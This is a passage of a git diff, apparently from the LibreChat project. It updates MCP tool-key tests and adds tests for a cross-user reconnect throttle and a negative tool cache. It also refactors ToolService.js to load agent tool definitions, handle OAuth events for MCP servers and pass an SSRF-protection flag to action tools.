tests', () => { mockReinitMCPServer.mockResolvedValue({ tools: [{ name: 'test-tool' }], availableTools: { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Test tool', parameters: { type: 'object', properties: {} }, @@ -791,7 +752,7 @@ describe('User parameter passing tests', () => { mockReinitMCPServer.mockResolvedValue({ availableTools: { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Test tool', parameters: { type: 'object', properties: {} }, @@ -804,7 +765,7 @@ describe('User parameter passing tests', () => { await createMCPTool({ res: mockRes, user: mockUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', signal: mockSignal, userMCPAuthMap: {}, @@ -826,7 +787,7 @@ describe('User parameter passing tests', () => { const mockRes = { write: jest.fn(), flush: jest.fn() }; const availableTools = { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Cached tool', parameters: { type: 'object', properties: {} }, @@ -837,7 +798,7 @@ describe('User parameter passing tests', () => { await createMCPTool({ res: mockRes, user: mockUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', userMCPAuthMap: {}, availableTools: availableTools, @@ -860,8 +821,8 @@ describe('User parameter passing tests', () => { return Promise.resolve({ tools: [{ name: 'tool1' }, { name: 'tool2' }], availableTools: { - 'tool1::server1': { function: { description: 'Tool 1', parameters: {} } }, - 'tool2::server1': { function: { description: 'Tool 2', parameters: {} } }, + [`tool1${D}server1`]: { function: { description: 'Tool 1', parameters: {} } }, + [`tool2${D}server1`]: { function: { description: 'Tool 2', parameters: {} } }, }, }); }); @@ -892,7 +853,7 @@ describe('User parameter passing tests', () => { reinitCalls.push(params); return Promise.resolve({ availableTools: { - 'my-tool::my-server': { + [`my-tool${D}my-server`]: { function: { description: 'My Tool', parameters: {} }, }, }, @@ -902,7 +863,7 @@ describe('User parameter passing tests', () => { await createMCPTool({ res: mockRes, user: mockUser, - toolKey: 'my-tool::my-server', + toolKey: `my-tool${D}my-server`, provider: 'google', userMCPAuthMap: {}, availableTools: undefined, // Force reinit @@ -936,11 +897,11 @@ describe('User parameter passing tests', () => { const result = await createMCPTool({ res: mockRes, user: mockUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', userMCPAuthMap: {}, availableTools: { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Test tool', parameters: { type: 'object', properties: {} }, @@ -983,7 +944,7 @@ describe('User parameter passing tests', () => { mockIsMCPDomainAllowed.mockResolvedValueOnce(true); const availableTools = { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Test tool', parameters: { type: 'object', properties: {} }, @@ -994,7 +955,7 @@ describe('User parameter passing tests', () => { const result = await createMCPTool({ res: mockRes, user: mockUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', userMCPAuthMap: {}, availableTools, @@ -1023,7 +984,7 @@ describe('User parameter passing tests', () => { }); const availableTools = { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Test tool', parameters: { type: 'object', properties: {} }, @@ -1034,7 +995,7 @@ describe('User parameter passing tests', () => { const result = await createMCPTool({ res: mockRes, user: mockUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', userMCPAuthMap: {}, availableTools, @@ -1100,7 +1061,7 @@ describe('User parameter passing tests', () => { mockIsMCPDomainAllowed.mockResolvedValue(true); const availableTools = { - 'test-tool::test-server': { + [`test-tool${D}test-server`]: { function: { description: 'Test tool', parameters: { type: 'object', properties: {} }, @@ -1112,7 +1073,7 @@ describe('User parameter passing tests', () => { await createMCPTool({ res: mockRes, user: adminUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', userMCPAuthMap: {}, availableTools, @@ -1126,7 +1087,7 @@ describe('User parameter passing tests', () => { await createMCPTool({ res: mockRes, user: regularUser, - toolKey: 'test-tool::test-server', + toolKey: `test-tool${D}test-server`, provider: 'openai', userMCPAuthMap: {}, availableTools, @@ -1138,6 +1099,188 @@ describe('User parameter passing tests', () => { }); }); + describe('createUnavailableToolStub', () => { + it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => { + const stub = createUnavailableToolStub('myTool', 'myServer'); + // invoke() goes through langchain's base tool, which checks responseFormat. + // CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw: + // "Tool response format is "content_and_artifact" but the output was not a two-tuple" + const result = await stub.invoke({}); + // If we reach here without throwing, the two-tuple format is correct. + // invoke() returns the content portion of [content, artifact] as a string. + expect(result).toContain('temporarily unavailable'); + }); + }); + + describe('negative tool cache and throttle interaction', () => { + it('should cache tool as missing even when throttled (cross-user dedup)', async () => { + const mockUser = { id: 'throttle-test-user' }; + const mockRes = { write: jest.fn(), flush: jest.fn() }; + + // First call: reconnect succeeds but tool not found + mockReinitMCPServer.mockResolvedValueOnce({ + availableTools: {}, + }); + + await createMCPTool({ + res: mockRes, + user: mockUser, + toolKey: `missing-tool${D}cache-dedup-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + // Second call within 10s for DIFFERENT tool on same server: + // reconnect is throttled (returns null), tool is still cached as missing. + // This is intentional: the cache acts as cross-user dedup since the + // throttle is per-user-per-server and can't prevent N different users + // from each triggering their own reconnect. + const result2 = await createMCPTool({ + res: mockRes, + user: mockUser, + toolKey: `other-tool${D}cache-dedup-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + expect(result2).toBeDefined(); + expect(result2.name).toContain('other-tool'); + expect(mockReinitMCPServer).toHaveBeenCalledTimes(1); + }); + + it('should prevent user B from triggering reconnect when user A already cached the tool', async () => { + const userA = { id: 'cache-user-A' }; + const userB = { id: 'cache-user-B' }; + const mockRes = { write: jest.fn(), flush: jest.fn() }; + + // User A: real reconnect, tool not found → cached + mockReinitMCPServer.mockResolvedValueOnce({ + availableTools: {}, + }); + + await createMCPTool({ + res: mockRes, + user: userA, + toolKey: `shared-tool${D}cross-user-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + expect(mockReinitMCPServer).toHaveBeenCalledTimes(1); + + // User B requests the SAME tool within 10s. + // The negative cache is keyed by toolKey (no user prefix), so user B + // gets a cache hit and no reconnect fires. This is the cross-user + // storm protection: without this, user B's unthrottled first request + // would trigger a second reconnect to the same server. + const result = await createMCPTool({ + res: mockRes, + user: userB, + toolKey: `shared-tool${D}cross-user-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + expect(result).toBeDefined(); + expect(result.name).toContain('shared-tool'); + // reinitMCPServer still called only once — user B hit the cache + expect(mockReinitMCPServer).toHaveBeenCalledTimes(1); + }); + + it('should prevent user B from triggering reconnect for throttle-cached tools', async () => { + const userA = { id: 'storm-user-A' }; + const userB = { id: 'storm-user-B' }; + const mockRes = { write: jest.fn(), flush: jest.fn() }; + + // User A: real reconnect for tool-1, tool not found → cached + mockReinitMCPServer.mockResolvedValueOnce({ + availableTools: {}, + }); + + await createMCPTool({ + res: mockRes, + user: userA, + toolKey: `tool-1${D}storm-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + // User A: tool-2 on same server within 10s → throttled → cached from throttle + await createMCPTool({ + res: mockRes, + user: userA, + toolKey: `tool-2${D}storm-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + expect(mockReinitMCPServer).toHaveBeenCalledTimes(1); + + // User B requests tool-2 — gets cache hit from the throttle-cached entry. + // Without this caching, user B would trigger a real reconnect since + // user B has their own throttle key and hasn't reconnected yet. + const result = await createMCPTool({ + res: mockRes, + user: userB, + toolKey: `tool-2${D}storm-server`, + provider: 'openai', + userMCPAuthMap: {}, + availableTools: undefined, + }); + + expect(result).toBeDefined(); + expect(result.name).toContain('tool-2'); + // Still only 1 real reconnect — user B was protected by the cache + expect(mockReinitMCPServer).toHaveBeenCalledTimes(1); + }); + }); + + describe('createMCPTools throttle handling', () => { + it('should return empty array with debug log when reconnect is throttled', async () => { + const mockUser = { id: 'throttle-tools-user' }; + const mockRes = { write: jest.fn(), flush: jest.fn() }; + + // First call: real reconnect + mockReinitMCPServer.mockResolvedValueOnce({ + tools: [{ name: 'tool1' }], + availableTools: { + [`tool1${D}throttle-tools-server`]: { + function: { description: 'Tool 1', parameters: {} }, + }, + }, + }); + + await createMCPTools({ + res: mockRes, + user: mockUser, + serverName: 'throttle-tools-server', + provider: 'openai', + userMCPAuthMap: {}, + }); + + // Second call within 10s — throttled + const result = await createMCPTools({ + res: mockRes, + user: mockUser, + serverName: 'throttle-tools-server', + provider: 'openai', + userMCPAuthMap: {}, + }); + + expect(result).toEqual([]); + // reinitMCPServer called only once — second was throttled + expect(mockReinitMCPServer).toHaveBeenCalledTimes(1); + // Should log at debug level (not warn) for throttled case + expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled')); + }); + }); + describe('User parameter integrity', () => { it('should preserve user object properties through the call chain', async () => { const complexUser = { @@ -1154,7 +1297,7 @@ describe('User parameter passing tests', () => { return Promise.resolve({ tools: [{ name: 'test' }], availableTools: { - 'test::server': { function: { description: 'Test', parameters: {} } }, + [`test${D}server`]: { function: { description: 'Test', parameters: {} } }, }, }); }); diff --git a/api/server/services/PermissionService.js b/api/server/services/PermissionService.js index c35faf7c8d..a843f48f6f 100644 --- a/api/server/services/PermissionService.js +++ b/api/server/services/PermissionService.js @@ -141,7 +141,6 @@ const checkPermission = async ({ userId, role, resourceType, resourceId, require validateResourceType(resourceType); - // Get all principals for the user (user + groups + public) const principals = await getUserPrincipals({ userId, role }); if (principals.length === 0) { @@ -151,7 +150,6 @@ const checkPermission = async ({ userId, role, resourceType, resourceId, require return await hasPermission(principals, resourceType, resourceId, requiredPermission); } catch (error) { logger.error(`[PermissionService.checkPermission] Error: ${error.message}`); - // Re-throw validation errors if (error.message.includes('requiredPermission must be')) { throw error; } @@ -172,12 +170,12 @@ const getEffectivePermissions = async ({ userId, role, resourceType, resourceId try { validateResourceType(resourceType); - // Get all principals for the user (user + groups + public) const principals = await getUserPrincipals({ userId, role }); if (principals.length === 0) { return 0; } + return await getEffectivePermissionsACL(principals, resourceType, resourceId); } catch (error) { logger.error(`[PermissionService.getEffectivePermissions] Error: ${error.message}`); diff --git a/api/server/services/ToolService.js b/api/server/services/ToolService.js index 62d25b23eb..62499348e6 100644 --- a/api/server/services/ToolService.js +++ b/api/server/services/ToolService.js @@ -1,24 +1,42 @@ -const { sleep } = require('@librechat/agents'); const { logger } = require('@librechat/data-schemas'); const { tool: toolFn, DynamicStructuredTool } = require('@langchain/core/tools'); const { + sleep, + EnvVar, + StepTypes, + GraphEvents, + createToolSearch, + Constants: AgentConstants, + createProgrammaticToolCallingTool, +} = require('@librechat/agents'); +const { + sendEvent, getToolkitKey, - hasCustomUserVars, getUserMCPAuthMap, + loadToolDefinitions, + GenerationJobManager, isActionDomainAllowed, + buildWebSearchContext, + buildImageToolContext, + buildToolClassification, } = require('@librechat/api'); const { + Time, Tools, + Constants, + CacheKeys, ErrorTypes, ContentTypes, imageGenTools, EModelEndpoint, + EToolResources, actionDelimiter, ImageVisionTool, openapiToFunction, AgentCapabilities, isEphemeralAgentId, validateActionDomain, + actionDomainSeparator, defaultAgentCapabilities, validateAndParseOpenAPISpec, } = require('librechat-data-provider'); @@ -28,14 +46,24 @@ const { loadActionSets, domainParser, } = require('./ActionService'); +const { + getEndpointsConfig, + getMCPServerTools, + getCachedTools, +} = require('~/server/services/Config'); const { processFileURL, uploadImageBuffer } = require('~/server/services/Files/process'); -const { getEndpointsConfig, getCachedTools } = require('~/server/services/Config'); +const { primeFiles: primeSearchFiles } = require('~/app/clients/tools/util/fileSearch'); +const { primeFiles: primeCodeFiles } = require('~/server/services/Files/Code/process'); const { manifestToolMap, toolkits } = require('~/app/clients/tools/manifest'); const { createOnSearchResults } = require('~/server/services/Tools/search'); +const { loadAuthValues } = require('~/server/services/Tools/credentials'); +const { reinitMCPServer } = require('~/server/services/Tools/mcp'); const { recordUsage } = require('~/server/services/Threads'); const { loadTools } = require('~/app/clients/tools/util'); const { redactMessage } = require('~/config/parsers'); const { findPluginAuthsByKeys } = require('~/models'); +const { getFlowStateManager } = require('~/config'); +const { getLogStores } = require('~/cache'); /** * Processes the required actions by calling the appropriate tools and returning the outputs. * @param {OpenAIClient} client - OpenAI or StreamRunManager Client. @@ -309,6 +337,7 @@ async function processRequiredActions(client, requiredActions) { } // We've already decrypted the metadata, so we can pass it directly + const _allowedDomains = appConfig?.actions?.allowedDomains; tool = await createActionTool({ userId: client.req.user.id, res: client.res, @@ -316,6 +345,7 @@ async function processRequiredActions(client, requiredActions) { requestBuilder, // Note: intentionally not passing zodSchema, name, and description for assistants API encrypted, // Pass the encrypted values for OAuth flow + useSSRFProtection: !Array.isArray(_allowedDomains) || _allowedDomains.length === 0, }); if (!tool) { logger.warn( @@ -367,7 +397,390 @@ async function processRequiredActions(client, requiredActions) { * @param {AbortSignal} params.signal * @param {Pick> }>} The agent tools. + * @returns {Promise<{ + * tools?: StructuredTool[]; + * toolContextMap?: Record; + * userMCPAuthMap?: Record>; + * toolRegistry?: Map; + * hasDeferredTools?: boolean; + * }>} The agent tools and registry. + */ +/** Native LibreChat tools that are not in the manifest */ +const nativeTools = new Set([Tools.execute_code, Tools.file_search, Tools.web_search]); + +/** Checks if a tool name is a known built-in tool */ +const isBuiltInTool = (toolName) => + Boolean( + manifestToolMap[toolName] || + toolkits.some((t) => t.pluginKey === toolName) || + nativeTools.has(toolName), + ); + +/** + * Loads only tool definitions without creating tool instances. + * This is the efficient path for event-driven mode where tools are loaded on-demand. + * + * @param {Object} params + * @param {ServerRequest} params.req - The request object + * @param {ServerResponse} [params.res] - The response object for SSE events + * @param {Object} params.agent - The agent configuration + * @param {string|null} [params.streamId] - Stream ID for resumable mode + * @returns {Promise<{ + * toolDefinitions?: import('@librechat/api').LCTool[]; + * toolRegistry?: Map; + * userMCPAuthMap?: Record>; + * hasDeferredTools?: boolean; + * }>} + */ +async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, tool_resources }) { + if (!agent.tools || agent.tools.length === 0) { + return { toolDefinitions: [] }; + } + + if ( + agent.tools.length === 1 && + (agent.tools[0] === AgentCapabilities.context || agent.tools[0] === AgentCapabilities.ocr) + ) { + return { toolDefinitions: [] }; + } + + const appConfig = req.config; + const endpointsConfig = await getEndpointsConfig(req); + let enabledCapabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []); + + if (enabledCapabilities.size === 0 && isEphemeralAgentId(agent.id)) { + enabledCapabilities = new Set( + appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities, + ); + } + + const checkCapability = (capability) => enabledCapabilities.has(capability); + const areToolsEnabled = checkCapability(AgentCapabilities.tools); + const deferredToolsEnabled = checkCapability(AgentCapabilities.deferred_tools); + + const filteredTools = agent.tools?.filter((tool) => { + if (tool === Tools.file_search) { + return checkCapability(AgentCapabilities.file_search); + } + if (tool === Tools.execute_code) { + return checkCapability(AgentCapabilities.execute_code); + } + if (tool === Tools.web_search) { + return checkCapability(AgentCapabilities.web_search); + } + if (!areToolsEnabled && !tool.includes(actionDelimiter)) { + return false; + } + return true; + }); + + if (!filteredTools || filteredTools.length === 0) { + return { toolDefinitions: [] }; + } + + /** @type {Record>} */ + let userMCPAuthMap; + if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) { + userMCPAuthMap = await getUserMCPAuthMap({ + tools: agent.tools, + userId: req.user.id, + findPluginAuthsByKeys, + }); + } + + const flowsCache = getLogStores(CacheKeys.FLOWS); + const flowManager = getFlowStateManager(flowsCache); + const pendingOAuthServers = new Set(); + + const createOAuthEmitter = (serverName) => { + return async (authURL) => { + const flowId = `${req.user.id}:${serverName}:${Date.now()}`; + const stepId = 'step_oauth_login_' + serverName; + const toolCall = { + id: flowId, + name: serverName, + type: 'tool_call_chunk', + }; + + const runStepData = { + runId: Constants.USE_PRELIM_RESPONSE_MESSAGE_ID, + id: stepId, + type: StepTypes.TOOL_CALLS, + index: 0, + stepDetails: { + type: StepTypes.TOOL_CALLS, + tool_calls: [toolCall], + }, + }; + + const runStepDeltaData = { + id: stepId, + delta: { + type: StepTypes.TOOL_CALLS, + tool_calls: [{ ...toolCall, args: '' }], + auth: authURL, + expires_at: Date.now() + Time.TWO_MINUTES, + }, + }; + + const runStepEvent = { event: GraphEvents.ON_RUN_STEP, data: runStepData }; + const runStepDeltaEvent = { event: GraphEvents.ON_RUN_STEP_DELTA, data: runStepDeltaData }; + + if (streamId) { + await GenerationJobManager.emitChunk(streamId, runStepEvent); + await GenerationJobManager.emitChunk(streamId, runStepDeltaEvent); + } else if (res && !res.writableEnded) { + sendEvent(res, runStepEvent); + sendEvent(res, runStepDeltaEvent); + } else { + logger.warn( + `[Tool Definitions] Cannot emit OAuth event for ${serverName}: no streamId and res not available`, + ); + } + }; + }; + + const getOrFetchMCPServerTools = async (userId, serverName) => { + const cached = await getMCPServerTools(userId, serverName); + if (cached) { + return cached; + } + + const oauthStart = async () => { + pendingOAuthServers.add(serverName); + }; + + const result = await reinitMCPServer({ + user: req.user, + oauthStart, + flowManager, + serverName, + userMCPAuthMap, + }); + + return result?.availableTools || null; + }; + + const getActionToolDefinitions = async (agentId, actionToolNames) => { + const actionSets = (await loadActionSets({ agent_id: agentId })) ?? []; + if (actionSets.length === 0) { + return []; + } + + const definitions = []; + const allowedDomains = appConfig?.actions?.allowedDomains; + const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g'); + + for (const action of actionSets) { + const domain = await domainParser(action.metadata.domain, true); + const normalizedDomain = domain.replace(domainSeparatorRegex, '_'); + + const isDomainAllowed = await isActionDomainAllowed(action.metadata.domain, allowedDomains); + if (!isDomainAllowed) { + logger.warn( + `[Actions] Domain "${action.metadata.domain}" not in allowedDomains. ` + + `Add it to librechat.yaml actions.allowedDomains to enable this action.`, + ); + continue; + } + + const validationResult = validateAndParseOpenAPISpec(action.metadata.raw_spec); + if (!validationResult.spec || !validationResult.serverUrl) { + logger.warn(`[Actions] Invalid OpenAPI spec for domain: ${domain}`); + continue; + } + + const { functionSignatures } = openapiToFunction(validationResult.spec, true); + + for (const sig of functionSignatures) { + const toolName = `${sig.name}${actionDelimiter}${normalizedDomain}`; + if (!actionToolNames.some((name) => name.replace(domainSeparatorRegex, '_') === toolName)) { + continue; + } + + definitions.push({ + name: toolName, + description: sig.description, + parameters: sig.parameters, + }); + } + } + + return definitions; + }; + + let { toolDefinitions, toolRegistry, hasDeferredTools } = await loadToolDefinitions( + { + userId: req.user.id, + agentId: agent.id, + tools: filteredTools, + toolOptions: agent.tool_options, + deferredToolsEnabled, + }, + { + isBuiltInTool, + loadAuthValues, + getOrFetchMCPServerTools, + getActionToolDefinitions, + }, + ); + + if (pendingOAuthServers.size > 0 && (res || streamId)) { + const serverNames = Array.from(pendingOAuthServers); + logger.info( + `[Tool Definitions] OAuth required for ${serverNames.length} server(s): ${serverNames.join(', ')}. Emitting events and waiting.`, + ); + + const oauthWaitPromises = serverNames.map(async (serverName) => { + try { + const result = await reinitMCPServer({ + user: req.user, + serverName, + userMCPAuthMap, + flowManager, + returnOnOAuth: false, + oauthStart: createOAuthEmitter(serverName), + connectionTimeout: Time.TWO_MINUTES, + }); + + if (result?.availableTools) { + logger.info(`[Tool Definitions] OAuth completed for ${serverName}, tools available`); + return { serverName, success: true }; + } + return { serverName, success: false }; + } catch (error) { + logger.debug(`[Tool Definitions] OAuth wait failed for ${serverName}:`, error?.message); + return { serverName, success: false }; + } + }); + + const results = await Promise.allSettled(oauthWaitPromises); + const successfulServers = results + .filter((r) => r.status === 'fulfilled' && r.value.success) + .map((r) => r.value.serverName); + + if (successfulServers.length > 0) { + logger.info( + `[Tool Definitions] Reloading tools after OAuth for: ${successfulServers.join(', ')}`, + ); + const reloadResult = await loadToolDefinitions( + { + userId: req.user.id, + agentId: agent.id, + tools: filteredTools, + toolOptions: agent.tool_options, + deferredToolsEnabled, + }, + { + isBuiltInTool, + loadAuthValues, + getOrFetchMCPServerTools, + getActionToolDefinitions, + }, + ); + toolDefinitions = reloadResult.toolDefinitions; + toolRegistry = reloadResult.toolRegistry; + hasDeferredTools = reloadResult.hasDeferredTools; + } + } + + /** @type {Record} */ + const toolContextMap = {}; + const hasWebSearch = filteredTools.includes(Tools.web_search); + const hasFileSearch = filteredTools.includes(Tools.file_search); + const hasExecuteCode = filteredTools.includes(Tools.execute_code); + + if (hasWebSearch) { + toolContextMap[Tools.web_search] = buildWebSearchContext(); + } + + if (hasExecuteCode && tool_resources) { + try { + const authValues = await loadAuthValues({ + userId: req.user.id, + authFields: [EnvVar.CODE_API_KEY], + }); + const codeApiKey = authValues[EnvVar.CODE_API_KEY]; + + if (codeApiKey) { + const { toolContext } = await primeCodeFiles( + { req, tool_resources, agentId: agent.id }, + codeApiKey, + ); + if (toolContext) { + toolContextMap[Tools.execute_code] = toolContext; + } + } + } catch (error) { + logger.error('[loadToolDefinitionsWrapper] Error priming code files:', error); + } + } + + if (hasFileSearch && tool_resources) { + try { + const { toolContext } = await primeSearchFiles({ + req, + tool_resources, + agentId: agent.id, + }); + if (toolContext) { + toolContextMap[Tools.file_search] = toolContext; + } + } catch (error) { + logger.error('[loadToolDefinitionsWrapper] Error priming search files:', error); + } + } + + const imageFiles = tool_resources?.[EToolResources.image_edit]?.files ?? []; + if (imageFiles.length > 0) { + const hasOaiImageGen = filteredTools.includes('image_gen_oai'); + const hasGeminiImageGen = filteredTools.includes('gemini_image_gen'); + + if (hasOaiImageGen) { + const toolContext = buildImageToolContext({ + imageFiles, + toolName: `${EToolResources.image_edit}_oai`, + contextDescription: 'image editing', + }); + if (toolContext) { + toolContextMap.image_edit_oai = toolContext; + } + } + + if (hasGeminiImageGen) { + const toolContext = buildImageToolContext({ + imageFiles, + toolName: 'gemini_image_gen', + contextDescription: 'image context', + }); + if (toolContext) { + toolContextMap.gemini_image_gen = toolContext; + } + } + } + + return { + toolRegistry, + userMCPAuthMap, + toolContextMap, + toolDefinitions, + hasDeferredTools, + }; +} + +/** + * Loads agent tools for initialization or execution. + * @param {Object} params + * @param {ServerRequest} params.req - The request object + * @param {ServerResponse} params.res - The response object + * @param {Object} params.agent - The agent configuration + * @param {AbortSignal} [params.signal] - Abort signal + * @param {Object} [params.tool_resources] - Tool resources + * @param {string} [params.openAIApiKey] - OpenAI API key + * @param {string|null} [params.streamId] - Stream ID for resumable mode + * @param {boolean} [params.definitionsOnly=true] - When true, returns only serializable + * tool definitions without creating full tool instances. Use for event-driven mode + * where tools are loaded on-demand during execution. */ async function loadAgentTools({ req, @@ -377,16 +790,21 @@ async function loadAgentTools({ tool_resources, openAIApiKey, streamId = null, + definitionsOnly = true, }) { + if (definitionsOnly) { + return loadToolDefinitionsWrapper({ req, res, agent, streamId, tool_resources }); + } + if (!agent.tools || agent.tools.length === 0) { - return {}; + return { toolDefinitions: [] }; } else if ( agent.tools && agent.tools.length === 1 && /** Legacy handling for `ocr` as may still exist in existing Agents */ (agent.tools[0] === AgentCapabilities.context || agent.tools[0] === AgentCapabilities.ocr) ) { - return {}; + return { toolDefinitions: [] }; } const appConfig = req.config; @@ -401,8 +819,14 @@ async function loadAgentTools({ const checkCapability = (capability) => { const enabled = enabledCapabilities.has(capability); if (!enabled) { + const isToolCapability = [ + AgentCapabilities.file_search, + AgentCapabilities.execute_code, + AgentCapabilities.web_search, + ].includes(capability); + const suffix = isToolCapability ? ' despite configured tool.' : '.'; logger.warn( - `Capability "${capability}" disabled${capability === AgentCapabilities.tools ? '.' : ' despite configured tool.'} User: ${req.user.id} | Agent: ${agent.id}`, + `Capability "${capability}" disabled${suffix} User: ${req.user.id} | Agent: ${agent.id}`, ); } return enabled; @@ -435,8 +859,7 @@ async function loadAgentTools({ /** @type {Record>} */ let userMCPAuthMap; - //TODO pass config from registry - if (hasCustomUserVars(req.config)) { + if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) { userMCPAuthMap = await getUserMCPAuthMap({ tools: agent.tools, userId: req.user.id, @@ -466,6 +889,18 @@ async function loadAgentTools({ imageOutputType: appConfig.imageOutputType, }); + /** Build tool registry from MCP tools and create PTC/tool search tools if configured */ + const deferredToolsEnabled = checkCapability(AgentCapabilities.deferred_tools); + const { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools } = + await buildToolClassification({ + loadedTools, + userId: req.user.id, + agentId: agent.id, + agentToolOptions: agent.tool_options, + deferredToolsEnabled, + loadAuthValues, + }); + const agentTools = []; for (let i = 0; i < loadedTools.length; i++) { const tool = loadedTools[i]; @@ -510,11 +945,16 @@ async function loadAgentTools({ return map; }, {}); + agentTools.push(...additionalTools); + if (!checkCapability(AgentCapabilities.actions)) { return { - tools: agentTools, + toolRegistry, userMCPAuthMap, toolContextMap, + toolDefinitions, + hasDeferredTools, + tools: agentTools, }; } @@ -524,9 +964,12 @@ async function loadAgentTools({ logger.warn(`No tools found for the specified tool calls: ${_agentTools.join(', ')}`); } return { - tools: agentTools, + toolRegistry, userMCPAuthMap, toolContextMap, + toolDefinitions, + hasDeferredTools, + tools: agentTools, }; } @@ -621,6 +1064,7 @@ async function loadAgentTools({ const zodSchema = zodSchemas[functionName]; if (requestBuilder) { + const _allowedDomains = appConfig?.actions?.allowedDomains; const tool = await createActionTool({ userId: req.user.id, res, @@ -631,6 +1075,7 @@ async function loadAgentTools({ name: toolName, description: functionSig.description, streamId, + useSSRFProtection: !Array.isArray(_allowedDomains) || _allowedDomains.length === 0, }); if (!tool) { @@ -651,14 +1096,303 @@ async function loadAgentTools({ } return { - tools: agentTools, + toolRegistry, toolContextMap, userMCPAuthMap, + toolDefinitions, + hasDeferredTools, + tools: agentTools, }; } +/** + * Loads tools for event-driven execution (ON_TOOL_EXECUTE handler). + * This function encapsulates all dependencies needed for tool loading, + * so callers don't need to import processFileURL, uploadImageBuffer, etc. + * + * Handles both regular tools (MCP, built-in) and action tools. + * + * @param {Object} params + * @param {ServerRequest} params.req - The request object + * @param {ServerResponse} params.res - The response object + * @param {AbortSignal} [params.signal] - Abort signal + * @param {Object} params.agent - The agent object + * @param {string[]} params.toolNames - Names of tools to load + * @param {Record>} [params.userMCPAuthMap] - User MCP auth map + * @param {Object} [params.tool_resources] - Tool resources + * @param {string|null} [params.streamId] - Stream ID for web search callbacks + * @returns {Promise<{ loadedTools: Array, configurable: Object }>} + */ +async function loadToolsForExecution({ + req, + res, + signal, + agent, + toolNames, + toolRegistry, + userMCPAuthMap, + tool_resources, + streamId = null, +}) { + const appConfig = req.config; + const allLoadedTools = []; + const configurable = { userMCPAuthMap }; + + const isToolSearch = toolNames.includes(AgentConstants.TOOL_SEARCH); + const isPTC = toolNames.includes(AgentConstants.PROGRAMMATIC_TOOL_CALLING); + + logger.debug( + `[loadToolsForExecution] isToolSearch: ${isToolSearch}, toolRegistry: ${toolRegistry?.size ?? 'undefined'}`, + ); + + if (isToolSearch && toolRegistry) { + const toolSearchTool = createToolSearch({ + mode: 'local', + toolRegistry, + }); + allLoadedTools.push(toolSearchTool); + configurable.toolRegistry = toolRegistry; + } + + if (isPTC && toolRegistry) { + configurable.toolRegistry = toolRegistry; + try { + const authValues = await loadAuthValues({ + userId: req.user.id, + authFields: [EnvVar.CODE_API_KEY], + }); + const codeApiKey = authValues[EnvVar.CODE_API_KEY]; + + if (codeApiKey) { + const ptcTool = createProgrammaticToolCallingTool({ apiKey: codeApiKey }); + allLoadedTools.push(ptcTool); + } else { + logger.warn('[loadToolsForExecution] PTC requested but CODE_API_KEY not available'); + } + } catch (error) { + logger.error('[loadToolsForExecution] Error creating PTC tool:', error); + } + } + + const specialToolNames = new Set([ + AgentConstants.TOOL_SEARCH, + AgentConstants.PROGRAMMATIC_TOOL_CALLING, + ]); + + let ptcOrchestratedToolNames = []; + if (isPTC && toolRegistry) { + ptcOrchestratedToolNames = Array.from(toolRegistry.keys()).filter( + (name) => !specialToolNames.has(name), + ); + } + + const requestedNonSpecialToolNames = toolNames.filter((name) => !specialToolNames.has(name)); + const allToolNamesToLoad = isPTC + ? [...new Set([...requestedNonSpecialToolNames, ...ptcOrchestratedToolNames])] + : requestedNonSpecialToolNames; + + const actionToolNames = allToolNamesToLoad.filter((name) => name.includes(actionDelimiter)); + const regularToolNames = allToolNamesToLoad.filter((name) => !name.includes(actionDelimiter)); + + /** @type {Record} */ + if (regularToolNames.length > 0) { + const includesWebSearch = regularToolNames.includes(Tools.web_search); + const webSearchCallbacks = includesWebSearch ? createOnSearchResults(res, streamId) : undefined; + + const { loadedTools } = await loadTools({ + agent, + signal, + userMCPAuthMap, + functions: true, + tools: regularToolNames, + user: req.user.id, + options: { + req, + res, + tool_resources, + processFileURL, + uploadImageBuffer, + returnMetadata: true, + [Tools.web_search]: webSearchCallbacks, + }, + webSearch: appConfig?.webSearch, + fileStrategy: appConfig?.fileStrategy, + imageOutputType: appConfig?.imageOutputType, + }); + + if (loadedTools) { + allLoadedTools.push(...loadedTools); + } + } + + if (actionToolNames.length > 0 && agent) { + const actionTools = await loadActionToolsForExecution({ + req, + res, + agent, + appConfig, + streamId, + actionToolNames, + }); + allLoadedTools.push(...actionTools); + } + + if (isPTC && allLoadedTools.length > 0) { + const ptcToolMap = new Map(); + for (const tool of allLoadedTools) { + if (tool.name && tool.name !== AgentConstants.PROGRAMMATIC_TOOL_CALLING) { + ptcToolMap.set(tool.name, tool); + } + } + configurable.ptcToolMap = ptcToolMap; + } + + return { + configurable, + loadedTools: allLoadedTools, + }; +} + 